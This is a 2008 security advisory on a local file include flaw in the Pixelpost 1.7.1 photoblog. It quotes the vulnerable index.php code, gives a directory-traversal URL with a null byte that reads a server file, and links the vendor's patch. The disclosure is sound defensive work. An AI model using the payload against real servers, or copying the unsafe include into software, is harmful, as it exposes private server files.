[DSECRG-08-033] Local File Include Vulnerability in Pixelpost 1.7.1

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-033

Application: Pixelpost photoblog
Versions Affected: 1.7.1
Vendor URL: http://www.pixelpost.org/
Bug: Local File Include
Exploits: YES
Reported: 22.07.2008
Vendor response: 23.07.2008
Solution: YES
Date of Public Advisory: 28.07.2008
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description

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Pixelpost photoblog has local file include vulnerability in script index.php

Successful exploitation requires that "register_globals" is enabled.

Code

---

#################################################

$PP_supp_lang = array('dutch'=>array('NL','Nederlands'),
'english'=>array('EN','English'),
'french'=>array('FR','Francais'),
'german'=>array('DE','Deutsch'),
'italian'=>array('IT','Italiano'),
'norwegian'=>array('NO','Norsk'),
'persian'=>array('FA','Farsi'),
'polish'=>array('PL','Polskiego'),
'portuguese'=>array('PT','Portugues'),
'simplified_chinese'=>array('CN','Chinese'),
'spanish'=>array('ES','Espanol'),
'swedish'=>array('SE','Svenska'),
'danish'=>array('DK','Dansk'),
'japanese'=>array('JP','Japanese'),
'hungarian'=>array('HU','Magyar'),
'romanian'=>array('RO','Romana'),
'russian'=>array('RU','Russian'),
'czech'=>array('CS','Cesky')
);
…
if(isset($_GET['lang'])) { $language_abr = substr($_GET['lang'],0,2); }

foreach ($PP_supp_lang as $key => $row) {
foreach($row as $cell){
if ($cell == strtoupper($language_abr)) { $language_full = $key; }
}
}
…
if(!empty($language_full)) {
if(file_exists("language/lang-".$language_full.".php")) {

            if( !isset($_GET['x'])OR($_GET['x'] != "rss" & $_GET['x'] != "atom")) {
                    require("language/lang-".$language_full.".php");
            }
    }else{
    ...

#################################################

Example:

http://[server]/[installdir]/index.php?lang=DSecRG&language_full=…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00

Solution

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Vendor fix this flaw on 27.07.2008. Security Patch can be downloaded here:

http://www.pixelpost.org/blog/2008/07/27/pixelpost-171-security-patch/

About

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Digital Security is leading IT security company in Russia, providing information security consulting, audit and
penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI
DSS standards. Digital Security Research Group focuses on web application and database security problems with
vulnerability reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)